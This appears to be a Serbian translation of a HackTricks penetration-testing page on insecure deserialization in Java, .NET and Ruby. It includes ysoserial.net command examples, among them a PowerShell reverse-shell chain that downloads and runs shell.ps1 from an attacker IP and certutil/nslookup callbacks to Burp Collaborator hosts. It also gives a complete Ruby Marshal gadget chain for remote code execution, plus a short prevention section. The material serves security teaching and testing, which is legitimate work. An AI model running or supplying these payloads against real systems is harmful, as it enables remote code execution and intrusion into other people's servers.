Trebali biste zapamtiti da čak i ako je usluga ranjiva (jer nesigurno deserijalizuje korisnički unos), i dalje morate pronaći validne gadgete za iskorišćavanje ranjivosti.

Alatka JMET je kreirana kako bi se povezala i napala ove usluge slanjem nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete. Ovi napadi će uspeti ako je usluga i dalje ranjiva i ako se neki od korišćenih gadgeta nalazi unutar ranjive aplikacije.

Reference

.Net

U kontekstu .Net-a, eksploatacija deserijalizacije funkcioniše na sličan način kao u Javi, gde se gadgeti iskorišćavaju kako bi se izvršio određeni kod tokom deserijalizacije objekta.

Fingerprint

WhiteBox

Izvorni kod treba biti pregledan u potrazi za pojavama:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Fokus treba biti na serializerima koji omogućavaju određivanje tipa putem promenljive kojom korisnik upravlja.

BlackBox

Pretraga treba ciljati Base64 kodiranu nisku AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao biti podvrgnut deserializaciji na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject ili $type.

ysoserial.net

U ovom slučaju možete koristiti alat ysoserial.net kako biste kreirali deserializacijske eksploate. Nakon preuzimanja git repozitorijuma, trebali biste kompajlirati alat koristeći na primer Visual Studio.

Ako želite da saznate kako ysoserial.net kreira svoj eksploit, možete proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Glavne opcije ysoserial.net su: --gadget, --formatter, --output i --plugin.

  • --gadget se koristi da se naznači gadget koji će biti zloupotrebljen (naznačiti klasu/funkciju koja će biti zloupotrebljena tokom deserializacije radi izvršavanja komandi).
  • --formatter, koristi se da se naznači metoda za serijalizaciju eksploita (trebate znati koju biblioteku koristi pozadina za deserializaciju payloada i koristiti istu za serijalizaciju).
  • --output se koristi da se naznači da li želite eksploit u sirovom ili Base64 kodiranom formatu. Imajte na umu da će ysoserial.net kodirati payload koristeći UTF-16LE (podrazumevano kodiranje na Windowsu), pa ako dobijete sirovi format i samo ga kodirate sa linux konzole, možda ćete imati neke probleme sa kompatibilnošću kodiranja koji će sprečiti ispravno funkcionisanje eksploita (u HTB JSON kutiji payload je radio i u UTF-16LE i ASCII, ali to ne znači da će uvek raditi).
  • --plugin ysoserial.net podržava dodatke za izradu eksploita za određene okvire kao što je ViewState

Više parametara ysoserial.net

  • --minify će pružiti manji payload (ako je moguće)
  • --raf -f Json.Net -c "anything" Ovo će naznačiti sve gadžete koji se mogu koristiti sa određenim formatterom (Json.Net u ovom slučaju)
  • --sf xml možete naznačiti gadžet (-g) i ysoserial.net će tražiti formate koji sadrže "xml" (bez obzira na veličinu slova)

ysoserial primeri za kreiranje eksploita:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net takođe ima vrlo interesantan parametar koji pomaže da se bolje razume kako svaki exploit funkcioniše: --test
Ako navedete ovaj parametar, ysoserial.net će pokušati exploit lokalno, tako da možete testirati da li će vaš payload pravilno raditi.
Ovaj parametar je koristan jer ako pregledate kod, pronaći ćete delove koda poput sledećeg (iz ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Ovo znači da bi se testirao exploit, kod će pozvati serializersHelper.JsonNet_deserialize funkciju.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

U prethodnom kodu postoji ranjivost koju je moguće iskoristiti. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno ranjiva.
Stoga, --test parametar nam omogućava da razumemo koji delovi koda su ranjivi na deserializacijski napad koji može stvoriti ysoserial.net.

ViewState

Pogledajte ovaj POST o kako pokušati iskoristiti __ViewState parametar u .Net-u da biste izvršili proizvoljni kod. Ako već znate tajne koje koristi ciljna mašina, pročitajte ovaj post da biste saznali kako izvršiti kod.

Prevencija

Da biste smanjili rizike povezane sa deserializacijom u .Net-u:

  • Izbegavajte dozvoljavanje da podaci definišu svoje tipove objekata. Koristite DataContractSerializer ili XmlSerializer kada je to moguće.

  • Za JSON.Net, postavite TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Izbegavajte korišćenje JavaScriptSerializer sa JavaScriptTypeResolver-om.

  • Ograničite tipove koji mogu biti deserializovani, razumevajući inherentne rizike sa .Net tipovima, kao što je System.IO.FileInfo, koji može menjati osobine serverskih fajlova, što može dovesti do napada uskraćivanja usluge.

  • Budite oprezni sa tipovima koji imaju rizične osobine, kao što je System.ComponentModel.DataAnnotations.ValidationException sa svojom Value osobinom, koja može biti iskorišćena.

  • Sigurno kontrolišite instanciranje tipova kako biste sprečili napadače da utiču na proces deserializacije, čime se čak i DataContractSerializer ili XmlSerializer čine ranjivim.

  • Implementirajte kontrolu bele liste koristeći prilagođeni SerializationBinder za BinaryFormatter i JSON.Net.

  • Budite informisani o poznatim nesigurnim deserializacijskim gadgetima u okviru .Net-a i obezbedite da deserializatori ne instanciraju takve tipove.

  • Izolujte potencijalno rizičan kod od koda sa pristupom internetu kako biste izbegli izlaganje poznatih gadgeta, poput System.Windows.Data.ObjectDataProvider u WPF aplikacijama, nepouzdanim izvorima podataka.

Reference

Ruby

U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar marshal biblioteke. Prva metoda, poznata kao dump, koristi se za pretvaranje objekta u niz bajtova. Ovaj proces se naziva serijalizacija. S druge strane, druga metoda, load, koristi se za vraćanje niza bajtova u objekat, proces poznat kao deserijalizacija.

Za obezbeđivanje serijalizovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednom od nekoliko mogućih lokacija:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generički deserializacija u RCE gadget lanac (više informacija na https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Drugi RCE lanac za iskorišćavanje Ruby On Rails-a: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: